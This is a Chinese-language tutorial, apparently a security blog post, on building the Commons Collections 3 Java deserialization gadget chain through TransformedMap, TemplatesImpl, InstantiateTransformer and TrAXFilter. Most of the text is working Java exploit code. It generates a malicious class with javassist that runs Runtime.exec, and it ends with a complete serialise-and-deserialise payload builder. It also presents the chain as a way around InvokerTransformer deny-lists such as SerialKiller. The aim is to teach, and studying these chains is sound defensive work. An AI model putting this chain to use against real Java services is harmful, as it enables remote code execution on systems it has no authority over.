CC3的利用鍊在JDK8u71版本以後是無法使用的,具體還是由于 AnnotationInvocationHandler readobject
的
進行了改寫。
而CC3目前有兩條主流的利用鍊,利用TransformedMap或者LazyMap。我們這篇文章先講TransformedMap鍊
TemplatesImpl
在CC2中利用javassist建立了一個攻擊類,使用TemplatesImpl類中的newTransformer方法觸發
這裡寫一個簡單的demo來示範下:
public class Demo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
ClassPool classPool= ClassPool.getDefault();//傳回預設的類池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
CtClass payload=classPool.makeClass("CommonsCollections2");//建立一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設定CommonsCollections2類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
byte[] bytes=payload.toBytecode();//轉換為byte數組
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
}
newTransformer方法執行就會彈出電腦

InstantiateTransformer
這個類的transform方法是利用反射擷取類的構造方法對象,再通過該構造方法執行個體化對象
newInstance就是調用構造方法建立一個對象
// 使用構造器對象的newInstance方法初始化對象
Object obj = constroctor.newInstance("yy", 18);
TrAXFilter
TrAXFilter的構造方法中調用了templates.newTransformer
如果templates變量的值為TemplatesImpl的話,則就能調用到TemplatesImpl的newTransformer方法
這三條鍊形成一個調用鍊:
利用InstantiateTransformer#transform調用TrAXFilter的構造方法,再利用構造方法裡的templates.newTransformer調用到TemplatesImpl的newTransformer方法。
結合一下ChainedTransformer調用鍊可以輕松完成構造
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
這時候我們隻需要調用ChainedTransformer的transform即可觸發整條鍊。這裡使用的是TransformedMap來觸發ChainedTransformer#transform
public class Demo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
ClassPool classPool= ClassPool.getDefault();//傳回預設的類池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
CtClass payload=classPool.makeClass("CommonsCollections2");//建立一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設定CommonsCollections2類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
byte[] bytes=payload.toBytecode();//轉換為byte數組
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxx");
Map decorate = TransformedMap.decorate(innerMap, null, chain);
decorate.put("xxx","xxx");
}
}
到這裡是不是開始像CC1中的TransformedMap調用鍊了。沒錯,再用AnnotationInvocationHandler的readObject做為反序列化入口就可以構造出整條鍊了。
順便複習一個知識點:TransformedMap裡的每個entry在調用setValue方法時,會自動調用TransformedMap類的checkSetValue方法。
完整的構造鍊
public class payload02 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
ClassPool classPool= ClassPool.getDefault();//傳回預設的類池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
CtClass payload=classPool.makeClass("CommonsCollections2");//建立一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設定CommonsCollections2類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
byte[] bytes=payload.toBytecode();//轉換為byte數組
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xxxx");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxx");
Map decorate = TransformedMap.decorate(innerMap, null, chain);
// 通過反射機制執行個體化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,decorate);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
其實此條鍊就是為了對付某些政策對InvokerTransformer類的限制(比如SerialKiller過濾器),而導緻不能利用,産生的一條新鍊。
SerialKiller過濾器:https://github.com/ikkisoft/SerialKiller
當然在ysoserial中,并不是利用的TransformedMap構造,而是用的CC1中的另一條LazyMap鍊。下篇就講怎麼使用LazyMap構造CC3